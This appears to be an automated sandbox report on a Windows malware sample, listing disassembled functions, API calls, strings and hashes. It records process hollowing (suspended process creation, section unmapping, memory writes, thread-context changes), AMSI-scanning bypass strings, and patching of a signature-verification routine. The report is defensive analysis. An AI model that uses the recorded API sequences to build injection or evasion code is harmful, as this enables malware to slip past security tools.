Opcode Fuzzy Hash: 5b45583b09bea8578b2f0d16edd378443382d8ec9811990ae34a51cf4b9592ff
Instruction Fuzzy Hash: FC33DA35A1025ADFDF20FB64DC909DEB3BABFC9704F5454E5A009AB650DB70AE818F90

Uniqueness

Uniqueness Score: -1.00%

Function 02997F48 Relevance: 41.9, APIs: 8, Strings: 15, Instructions: 1602
nativethreadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02997BE8: LoadLibraryW.KERNEL32(?,00000000,02997C9A), ref: 02997C18
Part of subcall function 02997BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02997C9A), ref: 02997C1E
Part of subcall function 02997BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02997C37

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,029E4398,029E4388,OpenSession,029E4360,02999A30,ScanString,029E4360), ref: 02998446
GetThreadContext.KERNEL32(0000083C,029E43DC,ScanString,029E4360,02999A30,UacInitialize,029E4360,02999A30,ScanBuffer,029E4360,02999A30,ScanBuffer,029E4360,02999A30,UacInitialize,029E4360), ref: 029987DF
NtReadVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000840,002A4FF8,029E44B0,00000004,029E44B8,ScanBuffer,029E4360,02999A30,ScanString,029E4360,02999A30,Initialize,029E4360,02999A30,UacScan,029E4360), ref: 02998A3C
NtUnmapViewOfSection.N(00000840,00400000,ScanBuffer,029E4360,02999A30,ScanString,029E4360,02999A30,Initialize,029E4360,02999A30,00000840,002A4FF8,029E44B0,00000004,029E44B8), ref: 02998BB7

Part of subcall function 02997968: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02997975
Part of subcall function 02997968: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 0299797B
Part of subcall function 02997968: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 0299799B

NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000840,00400000,00000000,1DC8A500,029E44B8,ScanBuffer,029E4360,02999A30,ScanString,029E4360,02999A30,Initialize,029E4360,02999A30,ScanBuffer,029E4360), ref: 0299920B
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000840,002A4FF8,029E44B4,00000004,029E44B8,ScanBuffer,029E4360,02999A30,ScanString,029E4360,02999A30,Initialize,029E4360,02999A30,00000840,00400000), ref: 0299937E
SetThreadContext.KERNEL32(0000083C,029E43DC,ScanBuffer,029E4360,02999A30,ScanString,029E4360,02999A30,Initialize,029E4360,02999A30,00000840,002A4FF8,029E44B4,00000004,029E44B8), ref: 029994F4
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(0000083C,00000000,0000083C,029E43DC,ScanBuffer,029E4360,02999A30,ScanString,029E4360,02999A30,Initialize,029E4360,02999A30,00000840,002A4FF8,029E44B4), ref: 02999501

Part of subcall function 02997AC0: LoadLibraryW.KERNEL32(bcrypt,02999A30,Initialize,029E4360,02999A30,UacScan,029E4360,02999A30,UacInitialize,029E4360,02999A30,0000083C,029E43DC,ScanString,029E4360,02999A30), ref: 02997AD2
Part of subcall function 02997AC0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02997ADF
Part of subcall function 02997AC0: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000840,00000000,?,00000001,?,00000000,BCryptVerifySignature,bcrypt,02999A30,Initialize,029E4360,02999A30,UacScan,029E4360,02999A30,UacInitialize), ref: 02997AF6
Part of subcall function 02997AC0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,02999A30,Initialize,029E4360,02999A30,UacScan,029E4360,02999A30,UacInitialize,029E4360,02999A30,0000083C,029E43DC), ref: 02997B05

Strings

BCryptRegisterProvider, xrefs: 02999778
SLGetLicenseInformation, xrefs: 02998537
Initialize, xrefs: 029982C2, 029988D5, 02998A5C, 02998E45, 029990A7, 02999217, 0299938A, 029995EF
BCryptVerifySignature, xrefs: 02999750
ntdll, xrefs: 02999802, 02999816
bcrypt, xrefs: 02999755, 02999769, 0299977D
OpenSession, xrefs: 02997F81, 029983A4, 02998456, 0299982C, 029998D0
NtOpenObjectAuditAlarm, xrefs: 02999811
UacInitialize, xrefs: 0299820A, 0299856B, 029986EF, 029987F3, 02998BEF, 02998D63, 0299950D
UacScan, xrefs: 0299804B, 02998263, 02998864, 02998C60, 02998DD4, 0299957E
BCryptQueryProviderRegistration, xrefs: 02999764
sppc, xrefs: 0299854E
NtReadVirtualMemory, xrefs: 029997FD
ScanString, xrefs: 02997FDA, 02998185, 02998333, 02998760, 02998946, 02998ACD, 02998F5A, 02999118, 02999288, 029993FB, 029996E6, 02999793
ScanBuffer, xrefs: 029980A4, 0299812C, 029984C7, 029985DC, 0299867E, 029989B7, 02998B3E, 02998CD1, 02998EB6, 02998FCB, 02999189, 029992F9, 0299946C, 02999660, 0299987E, 02999941

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: MemoryVirtual$AddressLibraryProcThreadWrite$ContextHandleLoadModule$AllocateCreateFreeProcessReadResumeSectionUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$Initialize$NtOpenObjectAuditAlarm$NtReadVirtualMemory$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$bcrypt$ntdll$sppc
API String ID: 2533507481-2367850715
Opcode ID: b46359b7087217412d6a3a14a9728553da7971a05c77b492dcd8bd9a8c399b36
Instruction ID: 73d3ae1f8aaad94fecebdcf4eaf511d58b285331ab963a0dbf569c467f062bc4
Opcode Fuzzy Hash: b46359b7087217412d6a3a14a9728553da7971a05c77b492dcd8bd9a8c399b36
Instruction Fuzzy Hash: 30E23D30A112699FEF11FBA4DC81ADEB3FAEFC5710F1490A5A009AB254DE30AE45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02997F46 Relevance: 41.8, APIs: 8, Strings: 15, Instructions: 1553
nativeprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02997BE8: LoadLibraryW.KERNEL32(?,00000000,02997C9A), ref: 02997C18
Part of subcall function 02997BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02997C9A), ref: 02997C1E
Part of subcall function 02997BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02997C37

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,029E4398,029E4388,OpenSession,029E4360,02999A30,ScanString,029E4360), ref: 02998446
GetThreadContext.KERNEL32(0000083C,029E43DC,ScanString,029E4360,02999A30,UacInitialize,029E4360,02999A30,ScanBuffer,029E4360,02999A30,ScanBuffer,029E4360,02999A30,UacInitialize,029E4360), ref: 029987DF
NtReadVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000840,002A4FF8,029E44B0,00000004,029E44B8,ScanBuffer,029E4360,02999A30,ScanString,029E4360,02999A30,Initialize,029E4360,02999A30,UacScan,029E4360), ref: 02998A3C
NtUnmapViewOfSection.N(00000840,00400000,ScanBuffer,029E4360,02999A30,ScanString,029E4360,02999A30,Initialize,029E4360,02999A30,00000840,002A4FF8,029E44B0,00000004,029E44B8), ref: 02998BB7

Part of subcall function 02997968: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02997975
Part of subcall function 02997968: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 0299797B
Part of subcall function 02997968: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 0299799B

Strings

BCryptRegisterProvider, xrefs: 02999778
SLGetLicenseInformation, xrefs: 02998537
Initialize, xrefs: 029982C2, 029988D5, 02998A5C, 02998E45, 029990A7, 02999217, 0299938A, 029995EF
BCryptVerifySignature, xrefs: 02999750
ntdll, xrefs: 02999802, 02999816
bcrypt, xrefs: 02999755, 02999769, 0299977D
OpenSession, xrefs: 02997F81, 029983A4, 02998456, 0299982C, 029998D0
NtOpenObjectAuditAlarm, xrefs: 02999811
UacInitialize, xrefs: 0299820A, 0299856B, 029986EF, 029987F3, 0299950D
UacScan, xrefs: 0299804B, 02998263, 02998864, 02998C60, 02998DD4, 0299957E
BCryptQueryProviderRegistration, xrefs: 02999764
sppc, xrefs: 0299854E
NtReadVirtualMemory, xrefs: 029997FD
ScanString, xrefs: 02997FDA, 02998185, 02998333, 02998760, 02998946, 02998ACD, 02998F5A, 02999118, 02999288, 029993FB, 029996E6, 02999793
ScanBuffer, xrefs: 029980A4, 0299812C, 029984C7, 029985DC, 0299867E, 029989B7, 02998B3E, 02998CD1, 02998EB6, 02998FCB, 02999189, 029992F9, 0299946C, 02999660, 0299987E, 02999941

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AddressHandleMemoryModuleProcVirtual$AllocateContextCreateLibraryLoadProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$Initialize$NtOpenObjectAuditAlarm$NtReadVirtualMemory$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$bcrypt$ntdll$sppc
API String ID: 3979268988-2367850715
Opcode ID: 07b27951bb8b5e37c9605d3cd40c8a4392e0da12ce1ea6fe9e9ceae7d76c7a05
Instruction ID: 3871ce68b2728f9c8b93aa123e0a846e4c983ddbb86c993bf0654b15d9288a75
Opcode Fuzzy Hash: 07b27951bb8b5e37c9605d3cd40c8a4392e0da12ce1ea6fe9e9ceae7d76c7a05
Instruction Fuzzy Hash: 53E23D30A112699FEF11FBA4DC81ADEB3FAEFC5710F1491A5A009AB254DE30AE45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02985A90 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02980000,029AB790), ref: 02985AAC
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02980000,029AB790), ref: 02985ACA
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02980000,029AB790), ref: 02985AE8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02985B06
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02985B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02985B4F
RegQueryValueExA.ADVAPI32(?,02985CFC,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02985B95,?,80000001), ref: 02985B6D
RegCloseKey.ADVAPI32(?,02985B9C,00000000,?,?,00000000,02985B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02985B8F
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02985BAC
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02985BB9
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02985BBF
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02985BEA
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02985C31
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02985C41
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02985C69
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02985C79
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02985C9F
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02985CAF

Strings

Software\Borland\Delphi\Locales, xrefs: 02985AFC
Software\Borland\Locales, xrefs: 02985AC0, 02985ADE

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: f52c0c949244a260a67eebc63fff390b94327dc63d328332e0c32506e3719cc8
Instruction ID: 1fc95ffa9080e6b38b095b27f00678c2cfc2c321ad0bf757e9aa38af9ccb30d0
Opcode Fuzzy Hash: f52c0c949244a260a67eebc63fff390b94327dc63d328332e0c32506e3719cc8
Instruction Fuzzy Hash: 1951B8B1A4020C7EFB25F6E4CC46FEF7BAD9B44744F8A01A5A704E61C1E7749A488F61

Uniqueness

Uniqueness Score: -1.00%

Function 0299CA6C Relevance: 17.9, APIs: 4, Strings: 6, Instructions: 400
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02997BE8: LoadLibraryW.KERNEL32(?,00000000,02997C9A), ref: 02997C18
Part of subcall function 02997BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02997C9A), ref: 02997C1E
Part of subcall function 02997BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02997C37

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000030,00000000,00000000,029E4644,029E4688,ScanString,029E4344,0299D0A4,OpenSession,029E4344), ref: 0299CDD3
WaitForSingleObject.KERNEL32(000005C0,000000FF,ScanString,029E4344,0299D0A4,OpenSession,029E4344,0299D0A4,ScanString,029E4344,0299D0A4,OpenSession,029E4344,0299D0A4,UacScan,029E4344), ref: 0299D01F
CloseHandle.KERNEL32(000005C0,000005C0,000000FF,ScanString,029E4344,0299D0A4,OpenSession,029E4344,0299D0A4,ScanString,029E4344,0299D0A4,OpenSession,029E4344,0299D0A4,UacScan), ref: 0299D02A
CloseHandle.KERNEL32(00000870,000005C0,000005C0,000000FF,ScanString,029E4344,0299D0A4,OpenSession,029E4344,0299D0A4,ScanString,029E4344,0299D0A4,OpenSession,029E4344,0299D0A4), ref: 0299D035

Strings

AmsiOpenSession, xrefs: 0299CC00
UacScan, xrefs: 0299CAA5, 0299CC49, 0299CDDF
Amsi, xrefs: 0299CC11
ScanString, xrefs: 0299CB57, 0299CCFB, 0299CEC1, 0299CFAD
*"C:\Users\Public\Libraries\UcvuiswbO.bat" , xrefs: 0299CBDD, 0299CD9D
OpenSession, xrefs: 0299CAFE, 0299CCA2, 0299CE50, 0299CF3C

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Handle$Close$AddressCreateLibraryLoadModuleObjectProcProcessSingleUserWait
String ID: *"C:\Users\Public\Libraries\UcvuiswbO.bat" $Amsi$AmsiOpenSession$OpenSession$ScanString$UacScan
API String ID: 1205125484-1204875182
Opcode ID: 74974e767cc30514e6e85b68489572857c7bfe08f3687e16e6f93d4c0e4a606f
Instruction ID: fe474f8912aeb17ee39ab5892189c0aab1d0f90cd9ef6dd464820a20635533af
Opcode Fuzzy Hash: 74974e767cc30514e6e85b68489572857c7bfe08f3687e16e6f93d4c0e4a606f
Instruction Fuzzy Hash: ADF1F034A1025A9FEF10FBA4D880FDEB7B6AFC5710F149061A105BB254DB74EE468F61

Uniqueness

Uniqueness Score: -1.00%

Function 02997AC0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,02999A30,Initialize,029E4360,02999A30,UacScan,029E4360,02999A30,UacInitialize,029E4360,02999A30,0000083C,029E43DC,ScanString,029E4360,02999A30), ref: 02997AD2
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02997ADF
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000840,00000000,?,00000001,?,00000000,BCryptVerifySignature,bcrypt,02999A30,Initialize,029E4360,02999A30,UacScan,029E4360,02999A30,UacInitialize), ref: 02997AF6
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,02999A30,Initialize,029E4360,02999A30,UacScan,029E4360,02999A30,UacInitialize,029E4360,02999A30,0000083C,029E43DC), ref: 02997B05

Strings

BCryptVerifySignature, xrefs: 02997ADD
bcrypt, xrefs: 02997AD1

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: ad32a12dd2a313207f2abf6604a44fcdea95e0bf229231ac431631d10f8221b9
Instruction ID: 4d8fae19891dc99a90615f26a17ac372393fd551bf18636c5140dbbcc39a6e6f
Opcode Fuzzy Hash: ad32a12dd2a313207f2abf6604a44fcdea95e0bf229231ac431631d10f8221b9
Instruction Fuzzy Hash: 6FF0E2B26193543EEA2161A95C84EFFA29DCBC27B1F04462DF5549A280DB618804C3B1

Uniqueness

Uniqueness Score: -1.00%

Function 02997966 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24
librarymemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02997975
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 0299797B
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 0299799B

Strings

NtAllocateVirtualMemory, xrefs: 0299796B
C:\Windows\System32\ntdll.dll, xrefs: 02997970

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: 516baaf22a2e1adc51648d96bbff9bea6e8700d7076f2266cfe532678e614c85
Instruction ID: b7e096b5321ef14df4c06165886d527a33aae8c779515cb573e440ab0d54c3f3
Opcode Fuzzy Hash: 516baaf22a2e1adc51648d96bbff9bea6e8700d7076f2266cfe532678e614c85
Instruction Fuzzy Hash: 98E09AB6A4024CBFDF00EF98DC49EEA77ACEB48610F445411BA19DB640DA70E9508BB5

Uniqueness

Uniqueness Score: -1.00%

Function 02997968 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
librarymemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02997975
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 0299797B
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 0299799B

Strings

NtAllocateVirtualMemory, xrefs: 0299796B
C:\Windows\System32\ntdll.dll, xrefs: 02997970

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: 511d5e84030df0c08940d7c02e6d78542cd2fe99c888f0db8c7bca059c6a0943
Instruction ID: 26ba5a6e6ab3691b7857d9bcfe90ee0809cb0300295a1b9948d0b5b7fdaff78c
Opcode Fuzzy Hash: 511d5e84030df0c08940d7c02e6d78542cd2fe99c888f0db8c7bca059c6a0943
Instruction Fuzzy Hash: 7FE09AB694024CBFDF00EF98D849EDA77ACEB48610F445411BA19DB640DA70E5508BB5

Uniqueness

Uniqueness Score: -1.00%

Function 0299C4DC Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02984EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 02984EF2

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0299C5AC), ref: 0299C517
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0299C5AC), ref: 0299C547
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0299C55C
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0299C588
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0299C591

Part of subcall function 02984C24: SysFreeString.OLEAUT32(0299D42C), ref: 02984C32

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: 5c6a237a522699dc0af2b9d786bc99d48b4a132028e6a549e84b0f0a19d8aa58
Instruction ID: 5f74c2d06d2de8e6c36a96ff4064d37bb85fc2c58c2de1fe8789cfabc2da68b4
Opcode Fuzzy Hash: 5c6a237a522699dc0af2b9d786bc99d48b4a132028e6a549e84b0f0a19d8aa58
Instruction Fuzzy Hash: 2921E871A503097AEF11EAE8CC42FDEB7BDEF48710F540466B604F71C0EA74AA058B65

Uniqueness

Uniqueness Score: -1.00%

Function 0299C8AC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0299C9EA

Strings

OpenSession, xrefs: 0299C98C
ScanBuffer, xrefs: 0299C933
Initialize, xrefs: 0299C8DA

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 2f74b806c6fcd633e44d6aad67e1d0348284547dfa7004b44400d968458a7fc2
Instruction ID: 5f7338326ca5e167bfddaaa1dd1e34e16cb0257da8b8b34ce1e04b540651f83c
Opcode Fuzzy Hash: 2f74b806c6fcd633e44d6aad67e1d0348284547dfa7004b44400d968458a7fc2
Instruction Fuzzy Hash: 1D41EA31A112499BEF10FBA8DD81EDEB7FAEFC8B14F645426E041B7250DA75AD018F60

Uniqueness

Uniqueness Score: -1.00%

Function 0299C3F6 Relevance: 6.1, APIs: 4, Instructions: 81nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02984EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 02984EF2

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0299C4CA), ref: 0299C437
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0299C471
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0299C49E
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0299C4A7

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: 2b49ceb02edd4226e4778ddb04be474d1de1f92f3b45d0b7c7b7837063600821
Instruction ID: d0b11ccbb16c359c077e3bc8b0f79d0340d97c200c2908c7f067def26061be16
Opcode Fuzzy Hash: 2b49ceb02edd4226e4778ddb04be474d1de1f92f3b45d0b7c7b7837063600821
Instruction Fuzzy Hash: 8921C271A40209BAEB10EBA4CC42FEEB7BDEF48B10F514462B604F71C0D7B4AE048A54

Uniqueness

Uniqueness Score: -1.00%

Function 0299C3F8 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02984EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 02984EF2

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0299C4CA), ref: 0299C437
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0299C471
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0299C49E
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0299C4A7

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
